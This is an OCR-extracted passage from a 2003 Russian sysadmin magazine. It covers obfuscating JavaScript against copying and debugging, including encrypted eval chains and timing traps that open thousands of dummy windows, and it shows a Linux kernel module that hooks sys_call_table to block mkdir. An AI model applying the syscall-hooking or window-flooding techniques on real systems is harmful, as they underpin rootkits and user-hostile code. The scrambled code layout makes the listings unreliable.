(имеет смысл указать оба элемента). Заголовок HTTP-от-вета достаточно легко настраивается в любом сервере. Длятех, кто не имеет доступа к нужным настройкам своего сер-вера, существуют эквивалентные META-теги в самом HTML:

Очевидный метод «взлома» таких способов «защиты»– использование нестандартного браузера, игнорирующе-го указание «не кэшировать страницы».

Нужно иметь в виду, что если единственная задачавзломщика – получить на диске точную копию HTML-стра-ницы или подключаемого JavaScript-файла, то «браузер»,решающий такую задачу, пишется за 10 минут на любомязыке типа Perl или Java. Все, что нужно – отправить насервер стандартный запрос по HTTP-протоколу (например,такой же, какой выдает Internet Explorer), получить соот-ветствующий ответ и сохранить его на диске. В большин-стве современных языков программирования такая зада-ча решается тривиально.

Существует и общее решение, позволяющее справить-ся с любым видом «блокировки кэширования». Это proxy-сервер, устанавливаемый на клиентский компьютер и«пропускающий через себя» без модификаций все HTTP-запросы. Такой proxy может быть совершенно «невиди-мым» и для клиента, и для сервера. «По пути» proxy-сер-вер может сохранять на диске все проходящие через негоHTML- и JavaScript-файлы. Скажу больше: proxy-сервер стакими возможностями, скорее всего, уже давно суще-ствует, например, среди бесплатных утилит ускорения до-ступа в Интернет.

Нестандартная обработка запросов к файламОднажды я столкнулся с любопытной схемой защиты, осно-ванной на нестандартной реакции веб-сервера на самыйобыкновенный (с виду) файл. К HTML-странице был подклю-чен сложный JavaScript-файл с традиционным расширени-ем .js. Но это был не обычный текстовый файл, а PHP-скрипт,возвращающий браузеру JavaScript-код. Веб-сервер был на-строен таким образом, что конкретно этот файл с расшире-нием .js обрабатывался интерпретатором PHP.

PHP-скрипт полностью анализировал заголовок HTTP-запроса, посылаемый браузером серверу. Каждый такойзаголовок среди прочего содержит поле «Referer»: URL до-кумента, инициировавшего данный запрос (если таковойимеется). Для Java-скриптов, подключаемых тегом:

Поле «Referer» в заголовке запроса всегда содержитадрес HTML-страницы, внутри которой находится указан-ный тег. Если же попытаться прочитать тот же Java-скрипт,просто набрав его URL в адресной строке браузера, тополе «Referer» будет отсутствовать.

PHP-скрипт, «притворявшийся» обычным .js-файлом,проверял, действительно ли «Referer» соответствует адре-су страницы, к которой этот JavaScript должен быть под-ключен, или одной из таких страниц. Если это условие со-блюдалось, то PHP возвращал корректный работоспособ-ный JavaScript. В противном случае возвращался другойJavaScript – тоже сложный, но совершенно бесполезный.

Конечно, кэширование этого JavaScript-файла было от-ключено.

Подобную защиту в принципе преодолеть так же про-сто, как и обычную блокировку кэширования, например,с помощью клиентского proxy-сервера, описанного в пре-дыдущем пункте. Однако ленивый хакер, взламывающий«подручными средствами», вполне может оказаться сби-тым с толку.

Cамогенерация методом document.writeln()Из сказанного выше должно быть ясно, что защищаемыевеб-страницы лучше всего разрабатывать таким образом,чтобы знание их исходных текстов и исходных текстов всехподключаемых JavaScript-файлов было недостаточным.

Основным приемом в данном случае является самоге-нерация страницы JavaScript-методом document. writeln().HTML-страница (включающая, возможно, некоторыйJavaScript) в этом случае «зашифровывается» в виде неко-торой бессмысленной на вид строки символов – строковойконстанты языка JavaScript. Затем вызывается некотораяJavaScript-функция, расшифровывающая эту строку, и еерезультат передается методу document.writeln().

В Интернете можно найти специальные утилиты, выпол-няющие подобное преобразование с готовой HTML-страни-цей. Некоторые из них при этом выполняют сжатие данных,так что «бессмысленная» строка оказывается короче исход-ного HTML- и JavaScript-кода.

При банальной реализации подобную защиту тоже лег-ко взломать. Ведь страница уже «вынужденно» содержитпроцедуру расшифровки! Ничто не мешает слегка подпра-

<meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Cache-Control" content="no-cache">

<script language="JavaScript" src="..."></script>

Pragma: no-cache Cache-Control: no-cache

Page 38: 004 Системный Администратор 03 2003

36

программирование

вить исходный текст страницы и вставить перед вызовомdocument.writeln() распечатку аргумента этого метода в лю-бое место, откуда его легко прочитать.

Тем не менее идея шифрования – одна из самых про-дуктивных. Мы это увидим в следующих разделах, когдабудем пытаться создать «серьезную» систему защиты. Покачто заметим: ниоткуда не следует, что первый же вызовпроцедуры расшифровки сразу «поднесет на блюдечке»взломщику полностью расшифрованный исходный текстстраницы. Может быть, будет расшифрована только неболь-шая часть, содержащая, в свою очередь, вызов процеду-ры расшифровки для следующего фрагмента. Может быть,веб-приложение состоит из сотен небольших страниц и вза-имосвязанных скриптов, в которых не так-то легко найти и«подправить» вызовы расшифровывающих процедур.

Есть одна общая проблема, которую следует иметь в видупри использовании метода document. writeln(). Если содер-жимое страницы в Internet Explorer целиком выделить, ско-пировать в ClipBoard и затем попытаться вставить в какой-нибудь HTML-редактор, например в FrontPage Editor, то со-держимое страницы будет вставлено уже «в готовом виде».Если часть страницы (включая какие-то JavaScript-фрагмен-ты) была сгенерирована вызовом document.writeln(), то вHTML-редактор попадет и скрипт, содержащий вызов и тотHTML-код, который им был создан.

Шифрование кодаМы переходим к рассмотрению более сложных технологийзащиты исходного кода веб-страниц. Не буду утверждать,что они обеспечивают стопроцентную защиту. Может быть,можно разработать программное обеспечение, гарантиру-ющее достаточно эффективный автоматизированный взломописываемых далее защитных механизмов. Но во всякомслучае, задача взлома этих механизмов неочевидна.

О защите видимого HTML-кодаСразу оговоримся. Описанные далее методы не позволя-ют защитить конечный HTML (без JavaScript), которыйпользователь в конце концов видит на защищенных стра-ницах. Видимый HTML всегда можно скопировать из InternetExplorer через ClipBoard в HTML-редактор, как уже былосказано в предыдущем разделе. Мне трудно представитьситуацию, когда HTML, уже видимый пользователю, на-столько сложен, что его крайне трудно воспроизвести посодержимому экрана и, соответственно, имеет смысл за-щищать от анализа.

Серьезная защита уже визуализированного HTML не-возможна в принципе. Это очевидно: всегда можно «слег-ка исправить» стандартный браузер, например InternetExplorer, так, чтобы в момент анализа HTML-кода и вос-произведения его на экране весь этот HTML сохранялся впротоколе на диске. Но на «несерьезном» уровне кое-ка-кая защита все же возможна.

Вот пример такой защиты для Internet Explorer, призна-юсь, не слишком «изящной». Можно просто запретитьпользователю выделять какие-либо фрагменты страницы,тогда он не сможет ничего скопировать в ClipBoard. Одиниз способов это сделать в Internet Explorer – 10 раз в секун-ду исполнять примерно такую конструкцию:

Саморасшифровывающиеся функцииСамый очевидный путь построения защиты основан на шиф-ровании. Мы сосредоточимся только на защите JavaScript-кода: любой HTML-код можно сгенерировать динамическисредствами JavaScript.

Будем считать, что JavaScript-код, в соответствии с хо-рошим тоном программирования, состоит из большого ко-личества не слишком больших функций. Мы начнем со сле-дующей идеи.

Давайте зашифруем основное тело каждой функции идобавим в ее начало код, расшифровывающий и исполняю-щий ее тело. В языке JavaScript это означает, что текст фун-кции

заменяется на эквивалентный текст:

Для выполнения такой замены, конечно, следует напи-сать некую автоматическую (или автоматизированную) ути-литу.

При таком подходе функции постоянно существуют в за-шифрованном виде вплоть до момента их вызова, и рас-сматривать их исходный текст сравнительно бесполезно.

Используемый алгоритм шифрования, в частности егокриптостойкость, не имеет значения. Все равно все ключидля расшифровки, если такие имеются, распространяютсявместе с зашифрованными данными. Единственная цельшифрования – сделать текст JavaScript визуально нечитае-мым. Собственно, разумнее всего вместо шифрования ис-пользовать какой-нибудь простой алгоритм сжатия типа Лем-пеля-Зива.

Мы не будем останавливаться на реализации такого ал-горитма – это классическая задача, многократно описаннаяв литературе. Тут есть лишь один специфический подвод-ный камень.

Как правило, алгоритмы расшифровки (или распаков-ки сжатых данных) должны получать на вход массив би-нарных данных – некоторую цепочку битов. А строчнаяJavaScript-константа, присваиваемая переменнойencrypted оператором:

по определению может содержать только текст. Следова-тельно, нужно как-то кодировать произвольные бинарныеданные символами, допустимыми в строчной JavaScript-константе.

var rng= document.body.createTextRange(); rng.moveToPoint(0,0); rng.select();

var encrypted= "...";

function somefunction() { var encrypted= "..."; // çàøèôðîâàííûé òåêñò òåõ æå ñàìûõ îïåðàòîðîâvar source=decoding_function (encrypted); eval(source); }

function somefunction() { êàêèå-òî îïåðàòîðû; }

Page 39: 004 Системный Администратор 03 2003

37№3(4), март 2003

программирование

Какие символы можно для этого использовать? HTML-или JavaScript-файл, содержащий приведенный выше фраг-мент JavaScript, – это (скорее всего) обычный текстовыйфайл, в котором каждый символ кодируется одним байтом.Внутри же языка JavaScript все символы хранятся в форма-те Unicode по 2 байта на символ. Байты файла со значения-ми 0..127 всегда преобразуются в соответствующие симво-лы Unicode, но для байтов 128..255 способ трансляции зави-сит от кодировки HTML-страницы, указанной HTTP-заголов-ком Content-Type или выбранной пользователем в браузе-ре. Поэтому «безопасно» использовать в строчной констан-те только младшие 128 символов ASCII. Из них «отпадают»управляющие символы с кодами 0..31. Также не очень ра-зумно использовать символы " и \, при записи которых встрочной константе нужно добавлять лишний символ \.

Я бы рекомендовал использовать 64 заведомо «безопас-ных» символа, скажем, все латинские буквы, цифры и парузнаков препинания. Тогда с помощью каждого символа мож-но кодировать 6 битов информации. Эти биты можно пере-дать расшифровывающему алгоритму для восстановленияполного Unicode-текста исходного JavaScript-кода.

«Спагетти»К сожалению, приведенное выше решение только на пер-вый взгляд кажется действенным.

Прежде всего, если расшифровывающая функция – этодействительно одна-единственная вызываемая отовсюдуфункция JavaScript, то ничего не стоит, располагая полнымнабором HTML- и JavaScript-файлов, ее найти и подменить,с тем чтобы все расшифрованные тексты, скажем, сохраня-лись на диске.

А что, если не делать специальную расшифровывающуюфункцию, а просто разместить соответствующий код в каж-дой точке, где он нужен? Это не поможет – такой код всеравно можно автоматически повсюду отыскать и заменитьсвоим кодом, который будет дополнительно записывать надиск расшифрованный текст. Даже если делать расшифро-вывающий код каждый раз немного другим, чтобы его нельзябыло искать автоматически, все равно остается «узкое мес-то» – вызов «eval». Все вызовы eval или эквивалентные сред-ства JavaScript типа

можно без особых усилий отыскать соответствующей авто-матической утилитой и заменить подходящим JavaScript-кодом, который запротоколирует на диске весь расшифро-ванный текст.

А может быть, можно помешать злоумышленнику менятьисходный текст наших функций? Вообще-то можно. Доста-точно где-нибудь в расшифровывающем коде получить пол-ный JavaScript-текст рассматриваемой функции – в JavaScriptдля этого следует выполнить оператор

(somefunction – имя нашей функции). После чего можно ис-пользовать полученный текст для расшифровки, например,наложить его в режиме XOR на зашифрованные данные.

Предполагается, что алгоритм зашифровки учитывает этуоперацию. Тогда искажение исходного текста функции сде-лает расшифровку невозможной.

Только все это – борьба с непрофессионалами. Опыт-ный взломщик может попросту использовать собственныйинтерпретатор JavaScript, в котором сам оператор eval бу-дет записывать свой аргумент на диск. Такому взломщикуне нужно менять исходные тексты.

Я предлагаю пойти другим путем. Пусть алгоритм рас-шифровки (это может быть и одна вызываемая отовсюдуфункция) выдает не один полный JavaScript-текст, а сериюнебольших JavaScript-кусочков. Исходный текст полной фун-кции somefunction мы превратим в «спагетти»: смесь из ко-ротких (одна-две строки) незашифрованных фрагментов ивызовов eval для столь же коротких расшифрованных ку-сочков, выданных алгоритмом расшифровки. Более того, не-которые расшифрованные кусочки на самом деле будутпредставлять собой опять же зашифрованный код анало-гичного вида:

Код source, расшифровываемый здесь, может, в своюочередь, быть зашифрован. Количество «уровней» зашиф-ровки может быть для каждого расшифровываемого кусоч-ка функции своим и случайным.

Процесс превращения произвольной функции в подоб-ное «спагетти» вполне можно сделать автоматическим. На-писание соответствующего софта – не слишком простая, нои не самая сложная задача. Потребуется лишь корректныйсинтаксический анализатор JavaScript-кода, да и то не обя-зательно полный: скажем, можно не анализировать «внут-ренности» формул, ограничившись разбиением JavaScript-кода на операторы.

Не упускаем ли мы что-то очевидное? Увы, пока да.Если расшифровывающий код будет выглядеть столь

банально:

то нет проблем написать утилиту, которая отыщет все по-добные фрагменты, выполнит расшифровку и заменит вы-зов eval на расшифрованный код. Если даже source будет, всвою очередь, зашифрован – такую утилиту можно вызватьмногократно.

Чтобы создание общей расшифровывающей утилитыбыло невозможно, надо сделать переменную encrypted вы-числяемой – зависящей от хода выполнения программы. На-пример, если выполняется некий цикл, то он может «по пути»собирать encrypted сложением элементов массива строк. Дляправильной сборки encrypted может, например, использо-ваться информация о времени выполнения участков про-граммы.

Такой подход к шифрованию, наверное, невозможно пол-ностью автоматизировать. Программисту придется самомузаботиться о нетривиальной генерации переменных

new Function(...)

somefunction+""

var encrypted= «...»;var source= decoding_function(encrypted);

.... eval(source);

var encrypted= "...";var source= decoding_function(encrypted); eval(source);

Page 40: 004 Системный Администратор 03 2003

38

программирование

encrypted. Но зато теперь написание автоматической про-граммы, полностью расшифровывающей весь JavaScript,может потребовать полного понимания логики работы про-граммы, т.е. того самого, что мы скрываем.

Как мне кажется, мы более или менее защитили веб-при-ложение от «вскрытия» какими бы то ни было автоматичес-кими сканерами, которые анализируют текст программы, невыполняя его. В терминах защиты обычных программ, ком-пилируемых в машинные коды, мы защитились от дизас-семблирования.

На банальном уровне мы также защитились от специ-альных средств исполнения программы вроде собственногоинтерпретатора JavaScript – теперь взломщику недостаточ-но «перехватить» пару операторов типа eval, чтобы полу-чить «на блюдечке» первоначальные исходные текстыJavaScript-функций.

Тем не менее, работая с собственным средством испол-нения JavaScript, в частности почти с любым качественнымотладчиком, взломщик все же может, выполняя программушаг за шагом, без особого труда реконструировать исход-ные тексты зашифрованных функций.

Для борьбы с подобным «on-line» взломом существуютспециальные технологии, которые мы рассмотрим в следу-ющем разделе.

Борьба с отладчикамиПредположим, что взломщик располагает произвольнымотладчиком, в худшем для нас случае написанным самимвзломщиком. Иначе говоря, наш JavaScript исполняется внекоторой виртуальной среде, полностью подконтрольнойвзломщику.

Если при этом наше веб-приложение будет работать нор-мальным образом, то всякая защита окажется бесполезной.Взломщик в любом случае сможет проследить оператор заоператором, как исполняются все наши алгоритмы. Можетбыть, это будет не столь комфортно, как чтение прокоммен-тированных исходных текстов, но в принципе задача взлома– изучение исходного кода для понимания его логики – бу-дет решена.

Мы должны предусмотреть систему противодействияотладчику. Коротко говоря, мы должны добиться, чтобы подотладчиком веб-приложение не работало нормальным об-разом.

ТаймингОсновной способ борьбы с отладчиками – анализ временивыполнения программы. Очевидно, когда взломщик зани-мается «вскрытием» защиты и анализирует исполняемыйкод, программа выполняется несравненно медленнее, чемв нормальных условиях. Для языка JavaScript это, пожа-луй, единственное, чем хороший отладчик «выдает себя»– в остальном все операторы JavaScript работают обыч-ным образом.

Как этим воспользоваться?Банальное решение – в случае чересчур долгого испол-

нения некоторого кода выдавать сообщение об ошибке – негодится. Взломщик просто «обойдет» соответствующую про-верку, подправив «на лету» исполняемый JavaScript или из-менив значение подходящей переменной. Надо быть хитрее.

Самое разумное – использовать результаты измерениявремени выполнения очень часто, в частности, в циклах. Помере исполнения программы, в том числе в процессе рас-шифровки функций, должны постоянно выполняться заме-ры времени выполнения. Заведомо слишком большие вре-мена должны приводить к тому, что начинает выполнятьсякод, достаточно сложный и внешне похожий на нормальный,но на самом деле бесполезный и не имеющий отношения крешаемой задаче.

Чтобы «взломать» такую программу, последовательно«подделывая» все замеры времени, взломщику придетсявыполнить очень большую (возможно, астрономически боль-шую) ручную работу. Причем малейшая ошибка взломщикабудет приводить к тому, что он будет незаметно для себяпереходить к анализу пустого и ненужного кода, которыйможет заканчиваться неприятными тупиками типа зацикли-вания или открытия на экране тысяч окон-«пустышек».

Веб-сервер и электронная подписьВообще говоря, для борьбы с описанным методом защитысуществует сравнительно несложный общий прием. Взлом-щик может «подделать» таймер, JavaScript-объект Date,традиционно используемый для измерения времени. Рас-полагая собственным отладчиком, можно «подделать»любой источник информации о времени – скажем, методSystem.current TimeMillis() из Java-апплетов (и даже низко-уровневую команду процессора Intel RDTSC, в случае еслибы мы защищали ассемблерную программу). «Подделан-ный» таймер может выдавать виртуальное время, в кото-ром не учитываются интервалы пассивного ожидания на-жатия взломщика на клавиши.

Существует ли какой-либо источник данных, которыйвзломщик не может подделать? Вообще говоря, да. Этоданные от веб-сервера, защищенные электронной под-писью.

Мы не можем здесь подробно рассматривать техноло-гию электронной подписи и наиболее популярный в этойобласти алгоритм RSA. Все это очень легко найти в лите-ратуре, в частности в Интернете.

В двух словах, идея здесь следующая. Есть два ключа(длинные цепочки битов): закрытый и открытый. Распола-гая одним ключом, невозможно восстановить другой. Зак-рытый ключ – секретный, открытый – общедоступный (на-пример, распространяется вместе с данными). Данныешифруются с помощью закрытого ключа, а расшифровы-ваются с помощью открытого.

Если данные удалось расшифровать открытым ключом,значит, есть гарантия, что они были зашифрованы соот-ветствующим закрытым ключом. Иначе говоря, данные, за-шифрованные таким способом, – это нечто вроде подписиисточника данных, владеющего закрытым ключом. Такую«подпись» подделать невозможно, или, по крайней мере,сегодня неизвестны алгоритмы, позволяющие это сделатьменее чем за астрономическое время.

Если допустить небольшой обмен данными с веб-сер-вером, к которому взломщик не имеет доступа, то, кажет-ся, ничто не мешает использовать идею электронной под-писи для получения неподделываемой информации, в час-тности, текущего времени. Для обращения к серверу за

Page 41: 004 Системный Администратор 03 2003

39№3(4), март 2003

программирование

зашифрованным временем и расшифровки этого време-ни, вероятно, лучше использовать Java-апплет – JavaScriptдля такой задачи чересчур неуклюж. Расшифрованное те-кущее время можно использовать для замера быстродей-ствия и обнаружения отладчика. По крайней мере, так мож-но поступать иногда, скажем, раз в несколько минут. В боль-шинстве ситуаций, чтобы не перегружать Интернет, луч-ше полагаться на обычный тайминг и только иногда «све-рять» часы JavaScript с показаниями часов сервера. Мож-но даже допустить работу в off-line-режиме (без обраще-ний к серверу) на те периоды времени, пока не исполня-ется наиболее важный код, требующий особо тщательно-го «скрытия».

Конечно, использовать эту технику надо так же хитро,как и любые другие защитные приемы, рассматривавши-еся выше. Скажем, просто сделать Java-апплет, возвра-щающий столь сложным образом полученное время, со-вершенно бессмысленно. Взломщик просто подменит весьэтот апплет. Язык Java нужно использовать только длясервисных функций – чтения зашифрованных данных ссервера и исполнения «критичных ко времени» фрагмен-тов алгоритма расшифровки. Сам же алгоритм расшиф-ровки по открытому ключу должен быть реализован мно-гократно в рамках саморасшифровывающегося JavaScript,в свою очередь, по возможности, защищенного таймингом.

Идею электронной подписи можно использовать и бо-лее широко. Скажем, JavaScript-программа может правиль-но работать только при условии, что она имеет связь с «род-ным» сервером, причем гарантированно с ним, а не с еговиртуальным аналогом. А это значит, что владельцы сер-вера могут в принципе организовать наблюдение за испол-нением своих программ. Если сервер обнаружит, чтоJavaScript-программа на некотором клиентском компьюте-ре (IP-адресе) исполняется «подозрительным» образом, онможет вообще заблокировать дальнейшую работуJavaScript на этом компьютере, скажем, неправильной даль-нейшей реакцией на запросы зашифрованных данных сэтого IP-адреса. «Подозрительным» может считаться об-ращение за некоторыми двумя порциями данных (напри-мер, за текущим временем), разделенные слишком боль-шим временным интервалом, что может свидетельствоватьоб исполнении соответствующего кода под отладчиком.

Маскировка – «безумный» кодЕще один универсальный способ борьбы со взломщика-ми, располагающими собственным отладчиком, – маски-ровка.

Цель взломщика – проанализировать логику работы не-которых алгоритмов, реализованных на JavaScript. Но дляэтого нужно увидеть каждый такой алгоритм в относитель-но «обозримом» виде, скажем, в течение часа проследитьработу сотни JavaScript-операторов. А что, если эти сто опе-раторов разбавлены «мусором» из тысячи ненужных опе-раторов, не мешающих работе программы, но крайне за-путывающих потенциального читателя?

Думаю, вполне можно разработать программный пакет,который бы целенаправленно «замусоривал» исходный кодна языке JavaScript (или на любом другом языке) беспо-лезными операторами, которые делают что-то «на вид»

вполне ценное, но в конце концов не оказывают влиянияна нормальное исполнение программы. Более того, неко-торые куски программы, например, начальный этап, на ко-тором расшифровываются первые функции, могут почтиполностью состоять из подобного «безумного» кода. Взлом-щику могут потребоваться сотни часов, чтобы «пробрать-ся» через десятки тысяч ненужных операторов и дойти дотой точки, где, наконец, появляется очередной расшифро-ванный фрагмент JavaScript. А если к этому добавить тай-минг и связь с сервером, то подобное «путешествие» сквозь«безумный» код почти наверняка закончится уходом в со-вершенно бессмысленные области или даже обнаружени-ем взломщика и блокировкой его IP-адреса.

Эквивалентные преобразованияХотелось бы отметить еще один несложный универсаль-ный защитный прием, который может быть довольно эф-фективным для защиты JavaScript-программ. Во всякомслучае, его почти всегда имеет смысл использовать в до-полнение к описанным выше механизмам защиты.

Речь идет об эквивалентных преобразованияхJavaScript-текста, снижающих его читабельность. Конеч-но, простое удаление лишних пробелов и «склеивание»строк – не слишком ценное действие: такой текст оченьлегко автоматически сформатировать обратно в читабель-ный вид. Но вот замена всех идентификаторов – перемен-ных и функций – на бессмысленные эквиваленты типа «v1»,«v2», ... может быть полезной.

Это, конечно, не настоящая защита – любая програм-ма, скомпилированная классическими компиляторами C++или Delphi, уже «защищена» таким образом. Но по край-ней мере, это делает «взлом» JavaScript-кода почти такойже непростой задачей, что и анализ машинного кода обыч-ных программ.

Вероятно, в Интернете уже есть утилиты, выполняющиеподобное преобразование. Во всяком случае, такую про-грамму нетрудно написать, располагая синтаксическим ана-лизатором JavaScript.

Приведенные здесь идеи по защите JavaScript-программот взлома, т.е. несанкционированного изучения исходныхтекстов, вполне применимы и к другим языкам. ЯзыкJavaScript интересен своей предельной незащищенностьюот такого рода атак. Он позволяет использовать лишь срав-нительно «серьезные» схемы защиты, построенные на до-статочно фундаментальных идеях. Разного рода частные«трюки», основанные на особых свойствах процессора илиоперационной системы, здесь не проходят.

Многие из описанных выше идей были почерпнуты ав-тором из книги:Защита информации в персональных ЭВМ. Спесивцев, Вег-нер, Крутяков, Серегин, Сидоров. М., Радио и связь, ВЕС-ТА, 1993. (Библиотека системного программиста).

Эту книгу написали авторы Cerberus – одной из лучшихсистем защиты машинного кода, популярных во временаDOS-программ. В частности, идеи саморасшифровки, тай-минга и «безумного» кода – оттуда.

Автор также признателен участникам форума xpoint.ru,неоднократно обсуждавшим тему защиты веб-страниц.

Page 42: 004 Системный Администратор 03 2003

40

программирование

ВЛАДИМИР МЕШКОВ

ПЕРЕХВАТСИСТЕМНЫХВЫЗОВОВ ВОС LINUX

ПЕРЕХВАТСИСТЕМНЫХВЫЗОВОВ ВОС LINUX

За последние годы операционная системаLinux прочно заняла лидирующее положениев качестве серверной платформы, опережаямногие коммерческие разработки. Тем неменее вопросы защиты информационныхсистем, построенных на базе этой ОС, неперестают быть актуальными. Существуетбольшое количество технических средств,как программных, так и аппаратных, которыепозволяют обеспечить безопасностьсистемы. Это средства шифрования данныхи сетевого трафика, разграничения правдоступа к информационным ресурсам,защиты электронной почты, веб-серверов,антивирусной защиты, и т. д. Список, как выпонимаете, достаточно длинный.В данной статье предлагаем вам рассмотретьмеханизм защиты, основанный на перехватесистемных вызовов операционной системыLinux. Данный механизм позволяет взять подконтроль работу любого приложения и темсамым предотвратить возможныедеструктивные действия, которые оно можетвыполнить.

За последние годы операционная системаLinux прочно заняла лидирующее положениев качестве серверной платформы, опережаямногие коммерческие разработки. Тем неменее вопросы защиты информационныхсистем, построенных на базе этой ОС, неперестают быть актуальными. Существуетбольшое количество технических средств,как программных, так и аппаратных, которыепозволяют обеспечить безопасностьсистемы. Это средства шифрования данныхи сетевого трафика, разграничения правдоступа к информационным ресурсам,защиты электронной почты, веб-серверов,антивирусной защиты, и т. д. Список, как выпонимаете, достаточно длинный.В данной статье предлагаем вам рассмотретьмеханизм защиты, основанный на перехватесистемных вызовов операционной системыLinux. Данный механизм позволяет взять подконтроль работу любого приложения и темсамым предотвратить возможныедеструктивные действия, которые оно можетвыполнить.

Page 43: 004 Системный Администратор 03 2003

41№3(4), март 2003

программирование

movl $1, %eax movl $0, %ebx int $0x80

gcc -ñ test.Sld -s -o test test.o

int init_module(void) { ... }

void cleanup_module(void) { ... }int $0x80

movl $0, %ecx

movl $8, %eax

.globl _start

.text_start:

Системные вызовыНачнем с определения. Системные вызовы – это наборфункций, реализованных в ядре ОС. Любой запрос при-ложения пользователя в конечном итоге трансформиру-ется в системный вызов, который выполняет запрашива-емое действие. Полный перечень системных вызовов ОСLinux находится в файле /usr/include/asm/unistd.h. Давай-те рассмотрим общий механизм выполнения системныхвызовов на примере. Пусть в исходном тексте приложе-ния вызывается функция creat() для создания нового фай-ла. Компилятор, встретив вызов данной функции, преоб-разует его в ассемблерный код, обеспечивая загрузкуномера системного вызова, соответствующего даннойфункции, и ее параметров в регистры процессора и пос-ледующий вызов прерывания 0x80. В регистры процессо-ра загружаются следующие значения:� в регистр EAX – номер системного вызова. Так, для на-

шего случая номер системного вызова будет равен 8(см. __NR_creat);

� в регистр EBX – первый параметр функции (для creatэто указатель на строку, содержащую имя создавае-мого файла);

� в регистр ECX – второй параметр (права доступа кфайлу).

В регистр EDX загружается третий параметр, в данномслучае он у нас отсутствует. Для выполнения системноговызова в ОС Linux используется функция system_call, ко-торая определена в файле /usr/src/liux/arch/i386/kernel/entry.S. Эта функция – точка входа для всех системныхвызовов. Ядро реагирует на прерывание 0x80 обращени-ем к функции system_call, которая, по сути, представляетсобой обработчик прерывания 0x80.

Чтобы убедиться, что мы на правильном пути, напи-шем небольшой тестовый фрагмент на ассемблере. В немувидим, во что превращается функция creat() после ком-пиляции. Файл назовем test.S. Вот его содержание:

В регистр EAX загружаем номер системного вызова:

В регистр EBX – первый параметр, указатель на стро-ку с именем файла:

В регистр ECX – второй параметр, права доступа:

Вызываем прерывание:

Выходим из программы. Для этого вызовем функцию exit(0):

В сегменте данных укажем имя создаваемого файла:

Компилируем:

В текущем каталоге появится исполняемый файл test.Запустив его, мы создадим новый файл с именем file.txt.

А теперь давайте вернемся к рассмотрению меха-низма системных вызовов. Итак, ядро вызывает обра-ботчик прерывания 0x80 – функцию system_cal l .System_call помещает копии регистров, содержащихпараметры вызова, в стек при помощи макросаSAVE_ALL и командой call вызывает нужную системнуюфункцию. Таблица указателей на функции ядра, кото-рые реализуют системные вызовы, расположена в мас-сиве sys_call_table (см. файл arch/i386/kernel/entry.S).Номер системного вызова, который находится в регис-тре EAX, является индексом в этом массиве. Таким об-разом, если в EAX находится значение 8, будет вызва-на функция ядра sys_creat(). Зачем нужен макросSAVE_ALL? Объяснение тут очень простое. Так какпрактически все системные функции ядра написаны наС, то свои параметры они ищут в стеке. А параметрыпомещаются в стек при помощи макроса SAVE_ALL!Возвращаемое системным вызовом значение сохраня-ется в регистр EAX.

Теперь давайте выясним, как перехватить систем-ный вызов. Поможет нам в этом механизм загружае-мых модулей ядра. Хотя ранее мы уже рассматриваливопросы разработки и применения модулей ядра, в ин-тересах последовательности изложения материала рас-смотрим кратко, что такое модуль ядра, из чего он со-стоит и как взаимодействует с системой.

Загружаемый модуль ядраЗагружаемый модуль ядра (обозначим его LKM –Loadable Kernel Module) – это программный код, выпол-няемый в пространстве ядра. Главной особенностью LKMявляется возможность динамической загрузки и выгруз-ки без необходимости перезагрузки всей системы илиперекомпиляции ядра.

Каждый LKM состоит из двух основных функций (ми-нимум):

� функция инициализации модуля. Вызывается призагрузке LKM в память:

� функция выгрузки модуля:

Приведем пример простейшего модуля:

movl $filename, %ebx

.data

filename: .string "file.txt"

Page 44: 004 Системный Администратор 03 2003

42

программирование

#define MODULE#include <linux/module.h>

int init_module(void){printk("Hello World\n");return 0;}

void cleanup_module(void){printk("Bye\n");}

gcc -c -O3 helloworld.cinsmod helloworld.o

rmmod helloworld

CC = gccCFLAGS = -O3 -Wall -fomit-frame-pointerMODFLAGS = -D__KERNEL__ -DMODULE -I/usr/src/linux/include

sys_mkdir_call.o: sys_mkdir_call.c$(CC) -c $(CFLAGS) $(MODFLAGS) sys_mkdir_call.c

void cleanup_module(){ sys_call_table[SYS_mkdir]=orig_mkdir;}

int init_module(){orig_mkdir=sys_call_table[SYS_mkdir];sys_call_table[SYS_mkdir]=own_mkdir; return 0;}

int own_mkdir(const char *path){return 0;}

int (*orig_mkdir)(const char *path);

extern void *sys_call_table[];

#include <linux/module.h>#include <linux/kernel.h>#include <sys/syscall.h>

Компилируем и загружаем модуль. Загрузку модуля впамять осуществляет команда insmod:

Информация обо всех загруженных в данный моментв систему модулях находится в файле /proc/modules. Что-бы убедиться, что модуль загружен, введите команду cat/proc/modules либо lsmod. Выгружает модуль командаrmmod:

Алгоритм перехвата системного вызоваДля реализации модуля, перехватывающего системныйвызов, необходимо определить алгоритм перехвата. Ал-горитм следующий:� сохранить указатель на оригинальный (исходный) вы-

зов для возможности его восстановления;� создать функцию, реализующую новый системный вы-

зов;� в таблице системных вызовов sys_call_table произве-

сти замену вызовов, т.е. настроить соответствующийуказатель на новый системный вызов;

� по окончании работы (при выгрузке модуля) восстано-вить оригинальный системный вызов, используя ранеесохраненный указатель.

Выяснить, какие системные вызовы задействуютсяпри работе приложения пользователя, позволяет трас-сировка. Осуществив трассировку, можно определить,какой именно системный вызов следует перехватить,чтобы взять под контроль работу приложения. Примериспользования программы трассировки будет рассмот-рен ниже.

Теперь у нас достаточно информации, чтобы присту-пить к изучению примеров реализации модулей, осуще-ствляющих перехват системных вызовов.

Примеры перехватасистемных вызовов

Запрет создания каталоговПри создании каталога вызывается функция ядраsys_mkdir. В качестве параметра задается строка, в кото-

рой содержится имя создаваемого каталога. Рассмотримкод, осуществляющий перехват соответствующего сис-темного вызова.

Экспортируем таблицу системных вызовов:

Определим указатель для сохранения оригинальногосистемного вызова:

Создадим собственный системный вызов. Наш вызовничего не делает, просто возвращает нулевое значение:

Во время инициализации модуля сохраняем указательна оригинальный вызов и производим замену системноговызова:

При выгрузке восстанавливаем оригинальный вызов:

Код сохраним в файле sys_mkdir_call.c. Для получе-ния объектного модуля создадим Makefile следующегосодержания:

Командой make создадим модуль ядра. Загрузив его,попытаемся создать каталог командой mkdir. Как вы мо-жете убедиться, ничего при этом не происходит. Командане работает. Для восстановления ее работоспособностидостаточно выгрузить модуль.

Запрет чтения файлаДля того чтобы прочитать файл, его необходимо вначалеоткрыть при помощи функции open. Легко догадаться, чтоэтой функции соответствует системный вызов sys_open.Перехватив его, мы можем защитить файл от прочтения.Рассмотрим реализацию модуля-перехватчика.

Page 45: 004 Системный Администратор 03 2003

43№3(4), март 2003

программирование

gcc -o dir dir.c

